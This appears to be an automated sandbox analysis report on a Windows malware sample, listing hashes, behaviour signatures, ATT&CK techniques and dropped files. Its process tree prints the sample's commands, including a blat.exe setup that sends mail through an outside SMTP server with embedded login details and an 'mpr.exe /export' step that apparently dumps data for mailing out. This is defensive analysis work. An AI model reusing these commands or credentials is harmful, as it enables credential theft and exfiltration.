Analysis

  • max time kernel
    146s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-05-2024 11:41

General

  • Target

    d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe

  • Size

    3.7MB

  • MD5

    6de3da12ea83180aed2fa3dabc37cbe0

  • SHA1

    c547617a266984c58743716a08f8662f3d8bb281

  • SHA256

    d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4

  • SHA512

    4141a1544626bd94cd7fb153ae77420227bf14dbc369bce549dff7f021a21ccb4c2cf626fde6f5d10f87bd09e710784d6d7bcdf1df6733c31fff11a8b75f11c6

  • SSDEEP

    49152:cYn2JVKh1VrdmC/1xpLzgYSHx4yzj8zow4ylvrFgn/y5q2DiAtGJqT5+GPd:c2FdzgYSHx4yzj8zowFdyotWAH

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 21 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
    "C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5012
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4E7E.tmp\1.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\SysWOW64\PING.EXE
        ping ya.ru -n 5
        3⤵
        • Runs ping.exe
        PID:1180
      • C:\Users\Admin\AppData\Local\Temp\blat.exe
        blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u ya.eliteden -pw Elite92
        3⤵
        • Executes dropped EXE
        PID:4696
      • C:\Users\Admin\AppData\Local\Temp\MPR.exe
        mpr.exe /export
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1760

Network

MITRE ATT&CK Matrix ATT&CK v13

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Remote System Discovery

1
T1018

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\4E7E.tmp\1.bat
    Filesize

    350B

    MD5

    b6699b0bcec646342b9475a16d0c0074

    SHA1

    88de4575051a8fb439160f312d40e7c4674723d0

    SHA256

    25caa4f7a0fe443f60d0dc018c696ba372237bd06045ad8522ee79ce1a38f8ec

    SHA512

    876fee140184ca6d6c7c4b14a6be76b898ccbe2bd9568dddd7fa1f0dd4da029efd20c709a613a44e4c716f9cd5b70b2ccdd45ee5d18af0e9383cc0a01a3aca72

  • C:\Users\Admin\AppData\Local\Temp\MPR.exe
    Filesize

    3.3MB

    MD5

    8dba37604bf06ebcef07dd1085865a6a

    SHA1

    1202eb0ea461c502daa7da9d7d75fff226bf57bd

    SHA256

    038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0

    SHA512

    0f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa

  • C:\Users\Admin\AppData\Local\Temp\blat.exe
    Filesize

    112KB

    MD5

    31f84e433e8d1865e322998a41e6d90e

    SHA1

    cbea6cda10db869636f57b1cffad39b22e6f7f17

    SHA256

    aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e

    SHA512

    7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9

  • C:\Users\Admin\AppData\Local\Temp\mpr.ini
    Filesize

    341B

    MD5

    41e2bfc402a656090f4b558951604e5c

    SHA1

    d75376b211652d3d82edcd16dd12fdadcc6ec5f6

    SHA256

    86eef7f8560accf5640db6b06fc0ba2cbe71c0f149cfefdd5f08448f08fd3d64

    SHA512

    bd9b93d5ab8ad7bc7f434cfb1726664d599185b018098b56711017b62f3b0e26630ffa2cf7c9082e0c2b5657cc4d086ffda8ecb7f0dd49e97648777e62d40b14

  • memory/1760-24-0x0000000000A50000-0x0000000000A51000-memory.dmp
    Filesize

    4KB

  • memory/1760-26-0x0000000000500000-0x000000000084A000-memory.dmp
    Filesize

    3.3MB

  • memory/1760-28-0x0000000000A50000-0x0000000000A51000-memory.dmp
    Filesize

    4KB